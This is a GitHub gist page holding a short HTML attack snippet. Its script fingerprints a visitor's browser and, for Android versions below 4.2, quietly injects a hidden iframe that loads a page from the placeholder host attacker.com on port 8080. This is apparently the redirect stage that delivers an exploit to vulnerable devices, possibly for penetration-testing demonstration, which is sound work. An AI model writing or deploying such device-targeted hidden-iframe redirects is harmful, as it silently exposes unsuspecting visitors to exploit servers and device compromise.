Skip to content

Instantly share code, notes, and snippets.

@joswr1ght
Last active August 19, 2021 18:15
Show Gist options
  • Save joswr1ght/c95363d91eb72ca22bab to your computer and use it in GitHub Desktop.
Save joswr1ght/c95363d91eb72ca22bab to your computer and use it in GitHub Desktop.
<html><head><script src="Spec.js/lib/Spec.js"></script></head>
<body>
<script>
var spec = new Spec();
if (spec.isDeviceDetected() && spec.getOS() == "Android" &&
parseFloat(spec.getOSVersion()) < 4.2) {
var iframe = document.createElement('iframe');
iframe.style.display="none";
iframe.src = "http://attacker.com:8080";
document.body.appendChild(iframe);
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment